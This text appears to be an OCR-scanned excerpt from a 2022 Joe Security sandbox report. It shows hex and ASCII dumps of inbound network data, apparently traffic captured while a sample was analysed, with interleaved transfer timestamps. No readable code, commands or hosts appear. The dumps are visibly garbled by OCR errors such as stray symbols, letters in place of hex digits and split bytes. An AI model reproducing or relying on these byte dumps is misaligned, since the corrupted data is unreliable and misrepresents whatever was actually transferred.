Data Raw: da da 66 29 49 da 6d 31 66 29 49 5e 9d 31 25 50 6d 66 f9 66 1e 45 0d e4 d8 da da 0d €9 72 da da 16 1e 49

99 59 68 1e 31 0d 92 d6 da da 66 ed 5c d4 da da 25 25 50 e4 66 9e 0d 43 23 da da c6 f4 60 a4 5a fO 66 9c 94 da da 25
25 74 d2 d4 60 7 50 e2 66 9e 0d de 23 da da 7f 36 9e 66 35 Oe a4 64 2d 66 e7 0d e2 8d da da 9e 66 e5 30 66 11 5e e9 1
9 2e 66 fd 77 0d 2c bd da da 64 20 19 Oe e5 30 8d 2f a8 65 25 89 da 55 89 64 45 b4 58 23 Oe e5 30 8d 11 f1 65 25 89 da
55 89 64 45 66 9e 0d 3d 9d da da 75 0d ef 72 da da 64 20 1d Oe e5 7f 34 34 89 64 35 8d ce f1 65 25 b6 07 b4 48 23 9e c4
6e 91 da da c6 ce Oe e5 7f 34 34 89 64 35 8d ec a8 65 25 66 20 19 75 0d ca 72 da da 9e c4 50 91 da da c6 ca 66 20 1d
36 66 cO 38 9e 68 65 25 f8 25 25 25 31 9e 1c 25 bl aa 1c 25 29 9e 1c

Data Ascii: f)lm1f)I*"1%PmffErlYh1A\%%PfC# Zf%%t Pf#6f5d-ffOf*.fw,d 0/e%UdEX#0e%UdEf=urd 44d5e%H#n44d5e%f
urPf 6f8he%%%%1%%)

Data Raw: 65 dd 41 a8 65 25 0d 45 91 da da dd 2d f3 65 25 0d 63 91 da da a5 18 40 Ob 1c 25 25 99 ea dd 5d 9c 1c 25 df
0d ac 65 25 0d ef 93 da da 0d e4 c4 da da 0d 2d 0f da da 0d ce dO da da 0d bb cc da da Oe e5 7f 34 34 89 64 35 8d b6 ac
65 25 9e ¢4 86 42 da da c6 1d 38 9e 25 25 25 da da da da 27 25 25 25 55 9d 25 25 2e 7b 66 17 66 fd 16 ce 58 33 66 9e
06 eb 0d b4 81 da da de eb 83 36 9e 66 eb 06 9e 0d a6 81 da da de 9e 83 36 9e 66 e5 30 66 11 Oe e5 30 8d 14 7 65 25
89 da 55 89 64 45 da e0 cd c2 1c 25 Oe e5 7f 34 34 89 64 35 8d 65 {7 65 25 9e c4 6b 42 da da c6 1d 38 9e 66 e5 5e 08 cd
€2 1c 25 dc 9e 30 66 11 Oe e5 30 8d 4c f7 65 25 89 da 55 89 64 45 da e0 d1 c2 1c 25 Oe e5 7f 34 34 89 64 35 8d 9d 7 65
25 9e c4 33 42 da da c6 1d 38 9e 66 e5 5e 08 d1 c2 1c 25 dc 9e

Data Ascii: eAe%E-e%c@%%]%e%-44d5e%B8%%% '%%%U%%.{ffX3f6f6f0f0e % UdE%44d5ee%kB8f %0f0Le%UdEYS
44d5e%3B8f\%

Data Raw: 15 66 9e 36 34 38 e7 35 25 b5 da 00 6d ce 1c 25 66 e5 da 00 69 ce 1c 25 66 e5 da 00 65 ce 1c 25 66 e5 da 00
61 ce 1c 25 66 e5 30 66 11 2c 2e 7b 66 ff 66 15 64 38 21 66 20 2d 5e 9d 21 25 99 f4 7b 66 20 2d 66 65 21 75 0d 18 68 da
da 64 20 21 5e 58 21 25 50 de 64 38 21 66 20 21 83 36 34 38 9e b5 30 66 11 2c 8d 5d b4 65 25 0d 37 68 da da 64 20 21
30 df c9 7 65 25 dd 6d b4 65 25 0d 82 da da da 34 7e d5 c2 1c 25 30 df f9 f7 65 25 dd 81 b4 65 25 0d 6¢ da da da 34 7e
d9 c2 1c 25 30 df f9 7 65 25 dd 89 b4 65 25 0d 56 da da da 34 7e dd c2 1c 25 30 df 05 f7 65 25 dd 91 b4 65 25 0d 40 da
da da 34 7e el c2 1c 25 30 df 05 f7 65 25 dd 99 b4 65 25 0d 2a da da da 34 7e e5 c2 1c 25 30 df 05 {7 65 25 dd al b4 65
25 0d 14 da da da 34 7e €9 c2 1c 25 30 df 05 f7 65 25 dd a9

Data Ascii: f6485%m%fi%fe%fa%fof, {ffd8!f -~%({f -feluhd "X!%Pd8!f 16480f,]e%7hd !0e%me%4~%0e%e%l4~
9%0e%e%\V4~%0e%e% @4~%0e%e%*4~%0e%e%4~%0e%

Data Raw: 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f0 20
7b 3c 97 44 3¢ 93 99 79 54 95 40 1e 3c 4e 99 20 97 97 4a 97 66 €5 el 01 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 el 01 65 25 31 25 25 25 al 52 65 25 d9 5b 65 25 e5 5b 65 25 €9 5b 65 25
ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f0 20 7b 3¢ 97 44 3¢ 93 99 2a 9b 40 97 8b 91 4a 52 20 97
97 4a 97 66 e5 45 b8 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 45 b8
65 25 31 25 25 25 al 52 65 25 d9 5b 65 25 e5 5b 65 25 €9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1l
59 65 25 2 20 7b 3¢ 97 44 3¢ 93 99 24 93 9b 3c 91 44 89 1c 97 42 20 97 97

Data Ascii: %[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<yT@<N Jfe%%%%6%%%% %% %% %%%6%6%0% %% %% %% %% %
%%e%1%%%Re%[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<*@JIR JFfEe%%%%% %% %%%%%%%% %% %%

%% % %% %% %% %Ee%1%%%Re%%[e%[e%[e%[e%[e%Y Ye%uYe%Yed {<D<$<DB

Data Raw: 25 68 20 21 0d c2 34 da da 9e c4 94 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd Oe e5 30 8d
37 ¢8 65 25 89 da 55 89 64 45 68 20 21 0d d3 53 25 25 66 9e 66 30 21 0d €9 63 25 25 Oe e5 7f 34 34 89 64 35 8d f4 c8
65 25 68 20 21 0d f2 2e da da 9e c4 48 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd Oe e5 30 8d 83 c8 65
25 89 da 55 89 64 45 68 20 21 0d 3f 61 25 25 66 9e 66 30 21 0d 2d 1a 25 25 Oe e5 7f 34 34 89 64 35 8d 40 c8 65 25 68
20 21 0d f6 48 da da 9e c4 fc 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd Oe e5 30 8d cf c8 65 25 89 da
55 89 64 45 68 20 21 0d 27 16 25 25 66 9e 66 30 21 0d b5 63 25 25 Oe e5 7f 34 34 89 64 35 8d 8¢ c8 65 25 68 20 21 0d a
a 91 da da 9e c4 b0 26 da da c6 15 36 34 38 9e 68 65 25 2e 7b 32

Data Ascii: %h 140648he%0f%.f07e%UdEh !S%%ff0!c%%44d5e%h !|.Hq648he%0f%.f0e%UdEh [?a%%ff0!-
%%44d5@e%h 'Hq648he%0f%.f0e%UdEh !'%%ff0!c%%44d5e%h '&648he% {2
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kBytes

Timestamp transferred Direction
2022-06-26 07:43:09 UTC 393 IN
2022-06-26 07:43:09 UTC 397 IN
2022-06-26 07:43:09 UTC 401 IN
2022-06-26 07:43:09 UTC 405 IN
2022-06-26 07:43:09 UTC 409 IN
2022-06-26 07:43:09 UTC 413 IN
2022-06-26 07:43:09 UTC 418 IN
2022-06-26 07:43:09 UTC 422 IN
2022-06-26 07:43:09 UTC 426 IN

Copyright Joe Security LLC 2022

Data

Data Raw: da 57 89 64 47 66 20 21 8b 66 25 ea 92 f5 5e 1f 39 ea 62 a6 dc 25 25 da 49 70 3a d8 65 25 8e d8 65 25 eb d8
65 25 ca d8 65 25 27 23 65 25 39 23 65 25 4f 23 65 25 65 23 65 25 81 23 65 25 97 23 65 25 35 da 65 25 fe da 65 25 60
23 65 25 1f 23 65 25 35 da 65 25 fe da 65 25 fe da 65 25 bd 23 65 25 86 23 65 25 9a 23 65 25 ae 23 65 25 0b 23 65 25
a2 20 15 25 25 25 25 a2 20 19 25 25 25 25 c4 8d de 25 25 a5 18 45 9e 1c 25 25 99 e8 8b df 39 25 8b dd dc 25 0d 01 07 d
adaa2 2015 25 25 25 25 a2 20 19 25 25 25 25 c4 1a de 25 25 66 20 21 ea 9a 65 2d 74 64 20 15 64 30 19 c4 51 de 25
25 66 20 21 66 65 2d 74 64 20 15 64 30 19 c4 3f de 25 25 66 20 21 b4 65 2d 0d a0 Oa da da 64 20 15 64 30 19 c4 29 de
25 25 66 20 21 b8 65 2d 0d 8a Oa da da 64 20 15 64 30 19 c4 13 27 25 25

Data Ascii: WAGf 1f%"9b%%Ip:e%e%e%e% #e%I#e%O#eYeteYotteYotte%5e%e% #HeYotte%5e%e%e%He %
#eYtteYoHeYtte% %% %% %%%%%YE%%9%% %%%% %%%%%%f le-td d0Q%%!f fe-td d0?%%f le-d d0)%%!f le-d
d0'%%

Data Raw: 1c 25 ¢8 31 1c 25 ¢8 31 1c 25 ¢8 31 1c 25 b3 31 1c 25 ¢9 31 1c 25 92 31 1c 25 ef 31 1c 25 bc 31 1c 25 Oe e5
64 20 1d c4 de dc 25 25 a5 18 45 9e 1c 25 25 99 e8 8b df 29 25 8b dd dc 25 0d 9b f9 da da Oe e5 64 20 1d c4 be 25 25 25
66 20 21 ba 65 2d b4 38 1d 76 c4 f9 25 25 25 66 20 21 b6 65 2d b4 38 1d 76 c4 a0 25 25 25 66 20 21 66 65 2d 64 20 1d
€4 92 25 25 25 66 20 21 ea 9a 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c4 7c 25 25 25 66 20 21 ea €3 65 2d 64 20 19 b6 20
19 b4 38 1d 76 ¢4 66 25 25 25 66 20 21 ea db 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c6 9d 66 20 21 ea 92 65 2d 64 20 19
b6 20 19 b4 38 1d 76 c6 40 66 20 21 66 65 2d 64 20 11 Oe e5 64 20 15 ba 48 11 b4 38 1d 76 c6 73 66 20 21 ba 8d 2d b4
38 1d 76 c6 67 Oe e5 30 8d ec €8 1c 25 89 da 55 89 64 45 66 20 21 0d

Data Ascii: %1%1%1%1%1%1%1%1%d %%E%%)%%d %%%f le-8v%%%f !e-8v%%%f !fe-d %%%f le-d 8v|%%%f le-d
8vi%%%f le-d 8vfle-d 8v@f !fe-d d H8vsf !-8vg0%UdETf !

Data Raw: 3c da da 66 30 1d 66 eb 0d Of fe da da c4 c2 de 25 25 b4 1e 2d 5e €9 19 b6 61 49 76 68 20 19 0d 16 50 da da
66 30 19 66 eb 0d a4 fe da da c4 eb de 25 25 b8 1e 2d 5e €9 19 b6 61 49 76 68 20 15 0d 3f 50 da da 66 30 15 66 eb 0d
cd fe da da c4 80 de 25 25 da 4e 31 da 4e 2d 68 20 11 0d ac d6 da da 66 30 11 66 eb 0d 9a 00 da da c4 ad de 25 25 da
4e 31 da 4e 2d 68 20 0d 0d 11 d6 da da 66 30 0d 66 eb 0d c7 00 da da c4 46 de 25 25 68 20 09 75 66 le 2d 94 da da da
5a df dc 25 25 25 0d 5a 06 da da 66 30 09 66 eb 0d 58 00 da da c4 6b de 25 25 68 30 05 8b 66 1e 2d 0d 09 d6 da da 66
30 05 66 eb 0d 87 00 da da c4 06 de 25 25 68 30 01 ea e3 1e 2d 0d 64 85 da da 66 30 01 66 eb 0d ee fe da da c4 35 de
25 25 68 30 fd Oe e5 af 1e 2d 0d 48 85 da da 66 30 fd 66 eb 0d d2 47 da

Data Ascii: <f0f%%-"alvh Pf0f%%-"alvh ?Pf0f%%N1N-h f0f%%N1N-h fOfF%%h uf-Z%%%Zf0fXk%%h0f-f0f%%h0-df0
f5%%h0-HfOfG

Data Raw: 25 25 1e 50 97 97 40 93 3e 54 25 25 25 25 da da da da 29 25 25 25 69 3c 99 40 25 25 25 25 da da da da 2b
25 25 25 2a 91 40 2e 99 97 25 25 da da da da 2d 25 25 25 69 44 4e 95 3¢ 99 3e 8d 25 25 25 25 da da da da e0 25 25 25
20 97 97 4a 97 25 25 25 da da da da e2 25 25 25 67 4a 4a 91 40 3c 93 25 da da da da e2 25 25 25 7b 3c 97 44 3¢ 93 99
25 da da da da e2 25 25 25 30 93 46 93 4a 52 93 25 da da da da e2 25 25 25 69 40 3e 44 48 3c 91 25 da da da da de 25
25 25 49 55 6b 25 da da da da 2d 25 25 25 2e 8d 4a 97 99 24 93 99 25 25 25 25 da da da da 29 25 25 25 67 54 99 40 25
25 25 25 da da da da 29 25 25 25 32 4a 97 89 25 25 25 25 da da da da 2d 25 25 25 71 4a 93 42 32 4a 97 89 25 25 25 25
da da da da e0 25 25 25 24 93 99 5b 59 25 25 25 30 66 11 5c €9 1d d8 da da

Data Ascii: %%P @>T%%%%)%%%i<@ %%%%+%%%*@. %%-%%%iDN<>%%%%%%% J%%%%%%gJI@<%%%%
{<D<%%%%0FJIR%%%%i@>DH<%%%%|Uk%-%%%.J$%%%%)%%%g T @ %%%%) %%%2J%%%%-%%
%0JIB2J%%%%%%%$[Y %%%60f

Data Raw: 99 2d 68 30 d1 0d fe de 25 25 66 38 15 60 b6 99 41 26 68 d9 b8 d1 d8 da da 66 a3 29 60 da 99 e4 66 b2 66
2b 0d 0d 35 da da 60 b6 50 09 Oe e5 7f 34 34 89 64 35 8d 0f 18 1c 25 66 38 15 60 b6 99 37 26 66 a9 b8 d1 d8 da da 75
0d fb 1b da da 60 b6 50 13 9e c4 c1 d6 23 da c6 ba Oe e5 7f 34 34 89 64 35 8d e8 63 1c 25 68 20 d1 66 f0 95 59 1c 25 0d
6 31 da da 9e c4 54 d6 23 da c6 0f 3a 83 36 66 c0 38 e7 2d 25 66 €5 30 66 11 5e e9 1d 66 20 2d 66 65 21 64 20 1d eb 2
021 2b 68 20 1d 75 8f 25 66 €8 e5 aa 1c 25 d7 dc 7c 85 10 1c 25 0d 44 9b da da 0d 99 d6 23 da 34 34 38 9e 30 66 11
5e e9 05 2e 7b 32 64 28 19 64 30 21 64 20 09 68 58 05 66 20 21 64 e2 Oe 1b 64 40 1d 66 20 19 65 9c 05 27 04 e9 68 20
15 64 45 66 e2 0d ad 6b da da 66 fd 8f 25 8f 25 2e 66 e2 75 8f 25 8f 25

Data Ascii: -h0%%f8" A&hf) ff+5°P44d5%f8" 7&fu’ P#44d5c%h fY%1T#:6f8-%f0ff -feld 1+h u%f%|%D#4480f.{2d(d0!d hXf
ldd@f e'h dEfkf%%.fu%%

Data Raw: 50 95 4e b5 30 66 11 2¢ 2e 7b 32 a9 f7 99 2d 5e €9 15 0d a0 0d 23 da 66 d4 ad 30 da 66 fd Oe 7 66 9e 0d Oc
0b 23 da d7 dc 7c 59 6d 1c 25 0d 00 0b 23 da 64 1e 29 d7 dc 7c 19 6f 1c 25 0d 3b Ob 23 da 64 1e 2d d7 dc 7c 59 6d 1c
25 0d e2 Ob 23 da 66 15 64 4e 31 66 eb 66 b2 0d a4 27 25 25 66 9e a5 58 da 25 99 ea 0d ed 0d 23 da 89 6a e0 25 25 25
25 5e 9 31 66 9e 3a 83 36 34 38 9e 66 5 2e 7b 0d 98 0d 23 da 66 ff 66 15 66 ae a5 07 21 66 eb 0d bc cO 23 da 66 6b 2
90d c4 c0 23 da 66 6b 2d 0d bc cO 23 da 66 6b 31 0d b4 c0 23 da a9 b6 a3 e2 66 eb 0d 97 0d 23 da 83 36 9e 68 65 25
2e 7b 66 ff 66 15 60 b6 99 35 66 eb 0d 86 29 da da 16 fd 99 €0 Oe e5 83 36 e d5 dc 83 36 9e b5 2e 7b 32 66 1f 66 15 66
6b 31 66 7d 2d 26 5e d6 25 al 00 66 ae 66 6b 31 0d 46 de 25 25 66 b2

Data Ascii: PNOf, {2-"#Off#]Y m6#dl)| 0%:#d-| Y mO#TANLIF%06r X YH%Y606%6 1 F: 6481, {4t fifk)#ik-#ik L#46he% {ff 51)66.
{2ffk1f}-&"Y6ffk1F%Y6f

Data Raw: 35 8d 8a 83 1c 25 66 20 21 0d dO b0 23 da 9e c4 b2 ff 23 da c6 15 83 34 38 9e b5 30 66 11 5e €9 1d 2e 7b Oe
a4 64 28 1d 66 ff 64 20 21 Oe e5 30 8d 2c 3a 1c 25 89 da 55 89 64 45 66 20 21 0d 61 d4 da da Oe e5 30 8d 59 3a 1c 25
89 da 55 89 64 45 66 9e 66 35 da 37 66 15 66 9e 0d 2a e6 25 25 06 15 68 20 1d 66 f3 Oe {7 0d ec 07 23 da 66 30 1d 66 f3
66 9e 66 3d da 2e 31 66 30 1d 66 20 21 66 2d da 2c 51 Oe e5 7f 34 34 89 64 35 8d 16 3a 1c 25 66 20 21 0d 7c d4 da da
9e c4 26 ff 23 da c6 15 Oe e5 7f 34 34 89 64 35 8d 7d 3a 1c 25 68 20 1d 0d fd 05 23 da 9e c4 53 ff 23 da c6 15 83 36 34
34 38 9e 66 €5 30 66 11 5e e9 1d 2e 7b 32 Oe b6 64 38 1d 66 cc 66 ff 64 20 21 Oe e5 30 8d dc 85 1c 25 89 da 55 89 64 4
516 ce 99 89 66 20 21 0d 64 1d da da Oe €5 30 8d 09 3a 1c 25 89

Data Ascii: 5%f [##480f".{d(fd !0,:%UdEf !a0Y:%UdEff57{f*%%h f#fOfff=.1f0f !f- Q44d5:%f !|&#44d5}.%h #S#6448f0f".
{2d8ffd !0%UdEf !d0:%

Data Raw: 30 1d 64 20 21 5e 18 b1 0d 1c 25 25 ea a9 ab 25 25 25 7c b1 0d 1c 25 0d 4b c0 da da 66 1d Oe e5 30 8d 8a
4a 1c 25 89 da 55 89 64 45 66 3a 2d 26 5e d6 25 al 69 66 ae 66 a2 0d 45 be da da 66 15 5e 58 21 25 99 2d 66 6b 2d 16
2021 50 00 5e 58 1d 25 99 ea 66 7b 35 66 20 1d 0d fe 8 da da a9 e5 99 35 66 ae 66 a2 0d 23 bc da da 66 eb 0d e6 a0
23 da 26 5e d6 da 50 el Oe e5 7f 34 34 89 64 35 8d db 4a 1c 25 7c b1 0d 1c 25 0d eb 09 da da 9e c4 f5 a4 23 da c6 13
3a 83 36 34 34 38 9e 68 65 25 30 66 11 2c 2e 7b 32 64 20 21 5e 18 b1 0d 1c 25 25 99 46 7c b1 0d 1c 25 0d 5e 09 da da
66 1d Oe e5 30 8d 12 95 1c 25 89 da 55 89 64 45 66 3a 2d 26 5e d6 25 al 04 66 ae 66 a2 0d 58 07 da da 66 15 66 6b 29
16 20 21 50 35 66 ae 66 a2 0d 9b bc da da 66 eb 0d 5e €9 23 da 26 5e d6 da

Data Ascii: 0d 1"%%%%%|%Kf0J%UdEf:-&"%iffEf X!%-fk- 1P X%f{5f 5ff#f#& \P44d53%|%#:6448he%0f, {2d 1"%%
F|%"f0%UdEf:-&"%ffXffk) |P5fff #&"

Data Raw: c6 c6 66 20 21 83 36 66 c0 38 9e 66 e5 2e 7b 32 5e 9 1d 66 cc 66 1f 66 fd 8f 65 8d 25 55 25 25 7b 8f 25 2e
0d 79 c0 23 da 64 29 49 68 69 49 29 75 7b 32 66 69 49 31 75 2e 0d 5a c0 23 da 66 29 49 34 7f 3a 83 36 9e 66 e5 30 66
11 5e e9 15 2e 7b 32 66 d4 66 17 66 fd 66 28 31 66 b2 66 9e 0d 84 da da da 64 20 1d 66 eb 0d b2 23 da da 66 ed 66 fb
66 9e 0d b9 da da da 64 20 21 68 20 15 75 8f 25 66 20 1d 75 66 20 21 75 8f 25 8f 25 2e 0d 2c be 23 da 66 15 a5 58 2d 2
599 {6 8f da 7b 0d dc c0 23 da 68 20 19 75 66 20 31 75 32 66 20 1d 75 2e 0d a3 09 23 da 66 eb 3a 83 36 66 c0 38 7 2d
25 68 65 25 2e 7b 32 30 5¢ e9 f5 23 da da 66 Of 66 1d Oe b6 8f 65 8d 25 35 25 25 8d fe dc 25 25 8f 25 32 0d b9 09 23 da
64 29 49 5e 61 49 25 ea a9 84 25 25 25 66 29 49 eb 69 49 31 8d 68

Data Ascil: f 16f8f.{2/fffe%U%%{%.y#d)Ihil)u{2filLu.Z#f)14:6f0f {2ffff(Lifd FFffd th u%f uf u%%. #FX-%{#h uf 1u2f u.#f:6f8-
9%he%.{20\#Hfe%5%%6%%6062#d) 1"al%6%%%f) il Lh
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kBytes

Timestamp transferred Direction
2022-06-26 07:43:09 UTC 429 IN
2022-06-26 07:43:09 UTC 433 IN
2022-06-26 07:43:09 UTC 437 IN
2022-06-26 07:43:09 UTC 441 IN
2022-06-26 07:43:09 UTC 445 IN
2022-06-26 07:43:09 UTC 450 IN
2022-06-26 07:43:09 UTC 454 IN
2022-06-26 07:43:09 UTC 458 IN
2022-06-26 07:43:09 UTC 461 IN

Copyright Joe Security LLC 2022

Data

Data Raw: €9 19 2e 7b 32 Oe b6 64 38 19 66 d4 64 30 1d 64 20 21 66 20 21 0d e3 dd 23 da 66 20 1d 0d db dd 23 da Oe
e5 30 8d a8 b1 1c 25 89 da 55 89 64 45 Oe 1b 68 20 19 66 30 21 0d 5e d9 23 da 66 20 19 0d 7e db 23 da 75 66 a2 94 dc
25 25 25 66 f0 d5 ad 1c 25 0d el eb 23 da 5e 9 29 66 30 19 66 20 1d 0d 8f 94 23 da 66 fd 26 5e d6 da 50 ea 66 e2 68 29
d5 66 30 19 0d dc d9 23 da c6 10 66 e2 68 29 d5 75 66 a6 df dc 25 25 25 66 20 19 0d db dd 23 da 66 20 1d 0d 73 db 23 d
a 66 ed de a6 68 20 19 df dc 25 25 25 0d b8 dd 23 da 6b 5e 58 19 25 50 84 Oe e5 7f 34 34 89 64 35 8d f9 bl 1c 25 68 20
19 df de 25 25 25 0d a5 8e 23 da 9e c4 d7 d1 23 da c6 c6 3a 83 36 66 cO 38 9e b5 2e 7b 32 30 2c 66 c4 66 ff 64 29 49 68
4e dc 66 fb 66 a0 0d 49 94 23 da 73 60 1b al f6 6b Oe da 66 41 49

Data Ascii: .{2d8fd0d !f I#f #0%UdEh fOI"#f ~#uf%%%f%#")f0f #& Pfh)f0#fh)uf%e%%f #f s#fth %%%#k "X%P44d5%h
%%%##:618.{20,ffd) INNffl#s kAl

Data Raw: 25 df f1 d7 1c 25 0d 11 7e 23 da da 10 59 c4 1c 25 da 10 41 c4 1c 25 da 10 25 c4 1c 25 8d 05 d7 1c 25 68 60
99 da da da df 29 25 25 25 0d cc cb 23 da 66 60 99 da da da 0d 4b cd 23 da 75 0d 05 a2 23 da 7e ed 0d 1c 25 da 10 71
¢4 1c 25 8d 11 d7 1c 25 da 10 5d c4 1c 25 8d 21 d7 1c 25 da 10 f5 0d 1c 25 68 60 95 da da da df e0 25 25 25 0d 8a cb 23
da 66 60 95 da da da 0d 09 82 23 da 75 7c ed 0d 1c 25 75 0d 7d a2 23 da 7e dd 0d 1c 25 df 6d 3e 65 25 dd dd 0d 1c 25
0d f9 11 da da 7c ed 0d 1c 25 75 0d 9c eb 23 da dd 59 c4 1c 25 df 31 8e 1c 25 0d 63 7e 23 da dd 41 c4 1c 25 df 3d 8e 1c
25 0d Oa 7e 23 da dd 25 c4 1c 25 df 49 8e 1c 25 0d 45 7e 23 da dd 5d c4 1c 25 df 55 8e 1c 25 0d ec 7e 23 da dd 71 c4 1c
25 df 65 8e 1c 25 0d 27 7e 23 da dd f5 0d 1c 25 df 71 8e 1c 25

Data Ascii: %%~#Y%A%%%%h")%%%#f K#u#~%q%%] %! %%h" %% %#f #u| Youl#~%m>e%%| You#Y Y% 1%c~H#A
%=%~#%%I|Y%E~#]%U%~#q%e % ~#%q%

Data Raw: 1c 25 7c ed 0d 1c 25 75 0d 2c 92 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d a8 01 da da 8d e5 db
1c 25 7c ed 0d 1c 25 75 0d 08 92 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d 84 01 da da 7c ed 0d 1c 25 75
0d bb db 23 da dd 59 c4 1c 25 df 09 db 1c 25 0d ee 6e 23 da 68 60 99 d8 da da 94 f9 8e 1c 25 66 f0 59 c4 1c 25 0d 90 70
23 da 66 60 99 d8 da da 0d 83 72 23 da 66 f5 68 60 9d d8 da da 0d 64 b9 23 da 66 60 9d d8 da da df 25 a5 25 25 0d cc
43 dada 7e ed 0d 1c 25 8d 0d db 1c 25 7c ed 0d 1c 25 75 0d d1 db 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0
d 4d 01 dada8d 21 db 1c 25 7c ed 0d 1c 25 75 0d ad db 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d 29 01 da
da 8d 31 92 1c 25 7c ed 0d 1c 25 75 0d 89 db 23 da 7e dd 0d 1c 25

Data Ascii: %]|%u,#~%M>e%%%|%u#~%M>e%%|%u#Y %%n#h %fY %p# rifh d#f %% %C~%%|You#~%M>
€%%M!%|%u#~%M>e%%)1%|%u#~%

Data Raw: 1c 25 a9 25 a9 25 25 25 a5 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 25 39 25 39 25 39 25 39 dc a9
67 a9 dc 2b 67 2b 25 41 25 41 25 25 25 39 €2 a5 22 a5 e2 27 22 27 25 25 25 25 25 25 25 25 25 25 25 25 2d 25 2d 25 25
25 25 25 25 25 25 25 25 25 25 25 35 1c ¢5 dc 3d dc 45 dc 09 45 09 45 da da 25 25 25 25 25 25 25 25 25 25 da da da da
da da 35 dc 25 25 08 e0 1a 25 1a 27 1a 25 1a 27 la 25 1la 25 la 25 1a 27 35 dc da da da da da da da da da da da da da
da fe 65 fe 65 fe 27 fe 27 da da da da da da da da 1a 25 1a 27 Oa 25 1a 27 18 25 18 25 1a 25 1a 25 25 25 25 a5 25 a5 25
a5 25 25 25 25 da da da da da da da da da da da da da da da da da da da da 09 45 09 45 09 45 09 45 09 45 09 45 09 45
09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 02 67 1a 25 1la 25

Data Ascii: %%%%%-%-%-%-%-%-%-%-%%9%9%9%9g+g+%A%A%%%9"" %% %% % %% %% % % %-%-%% %% % % %%
9%%%%%5=EEE %%%%%%%%%%5% %% % %% %' 5ee" %' %' %% % %% %% % % %% %% EEEEEEEEEEEEEEEEg%%

Data Raw: 25 25 71 4a 3e 3¢ 91 1c 91 91 4a 3e 25 25 25 25 22 40 99 79 44 3e 46 1e 4a 50 93 99 25 25 25 25 2¢ 50 40
97 54 75 40 97 8b 4a 97 48 3¢ 93 3e 40 1e 4a 50 93 99 40 97 25 25 25 22 40 99 7b 40 97 4e 44 4a 93 25 25 25 25 22 40
99 1e 50 97 97 40 93 99 79 8d 97 40 3c 89 24 89 25 25 25 25 24 93 99 40 97 91 4a 3e 46 40 89 69 40 3e 97 40 48 40 93
99 25 25 25 25 24 93 99 40 97 91 4a 3e 46 40 89 24 93 3e 97 40 48 40 93 99 25 25 25 25 7b 44 97 99 50 3c 91 2¢ 50 40
97 54 25 25 25 25 32 44 89 40 1e 8d 3c 97 79 4a 28 50 91 99 44 67 54 99 40 25 25 25 28 50 91 99 44 67 54 99 40 79 4a
32 44 89 40 1e 8d 3c 97 25 25 25 91 4e 99 97 91 40 93 1c 25 25 25 25 91 4e 99 97 3e 95 54 93 1c 25 25 25 71 4a 3c 89
71 44 87 97 3¢ 97 54 20 9d 1c 25 25 25 25 22 40 99 79 8d 97 40 3c 89 71 4a

Data Ascii: %%60J><J>%%%%" @yD>FJIP%%%%,P@Tu@JH<>@JIP @%%%"@{@NDJI%%%%"@P@y@
<$%%%%$@I>F@I@>@H@%%%%$@I>F@$>@H@%%%%{DP<,P@T%%%%2D@<yJ(PDIT @%%%(PDYT@
yI2D@<%%%N@%%%%6N>T%%%qJ<qD<T %%%%" @y @<0J

Data Raw: 59 f5 59 f9 59 fd 59 01 59 05 59 09 59 0d 59 11 59 21 59 41 10 49 10 4d 10 51 10 55 10 59 10 5d 10 61 10 65
1069 10 7d 10 9d 10 a5 10 a9 10 ad 10 b1 10 b5 10 b9 10 bd 10 ¢1 10 ¢5 10 d9 10 f9 10 01 10 05 10 09 10 0d 10 11 10
151019 10 1d 10 21 10 35 5b 55 5b 5d 5b 61 5b 65 5b 69 5b 6d 5b 71 5b 75 5b 79 5b 7d 5b 95 5b b5 5b bd 5b ¢1 5b ¢5
5b ¢9 5b cd 5b d1 5b d5 5b d9 5b dd 5b ed 5b 0d 5b 15 5b 19 5b 1d 5b 21 5b 25 12 29 12 2d 12 31 12 35 12 49 12 69 12
7112751279127d 128112851289 128d 129112 a1 12¢112¢9 12 cd 12d112d512d9 12 dd 12 el 12 €5 12 €9
12 fd 12 1d 12 25 5d 29 5d 2d 5d 31 5d 35 5d 39 5d 3d 5d 41 5d 45 5d 5d 5d 7d 5d 85 5d 89 5d 8d 5d 91 5d 95 5d 99 5d
9d 5d a1 5d a5 5d b9 5d d9 5d e1 5d e5 5d 9 5d ed 5d f1 5d f5 5d f9 5d

Data Ascii: YYYYYYYYY!YAIMQUY]aei}!S[U[][alefi(m[a[uly B %)-15 iquy}%eDI-1115191=] AN

Data Raw: €9 14 f5 14 f9 14 09 14 11 14 15 14 19 14 1d 14 21 14 25 5f 29 5f 2d 5f 31 5f 35 5f 39 5f 3d 5f 41 5f 45 5f 49 5f
4d 5f 51 5f 55 5f 59 5f 5d 5f 61 5f 65 5f 69 5f 6d 5f 71 5f 75 5f 79 5f 7d 5f 81 5f 85 5f 89 5f 8d 5f 91 5f 95 5f 99 5f 9d 5f al

5f a5 5f a9 5f ad 5f bl 5f bf 5f d1 5f df 5f e3 5f f5 5f ¢4 5f 19 5f 29 16 39 16 41 16 45 16 49 16 4d 16 51 16 55 16 59 16 5d
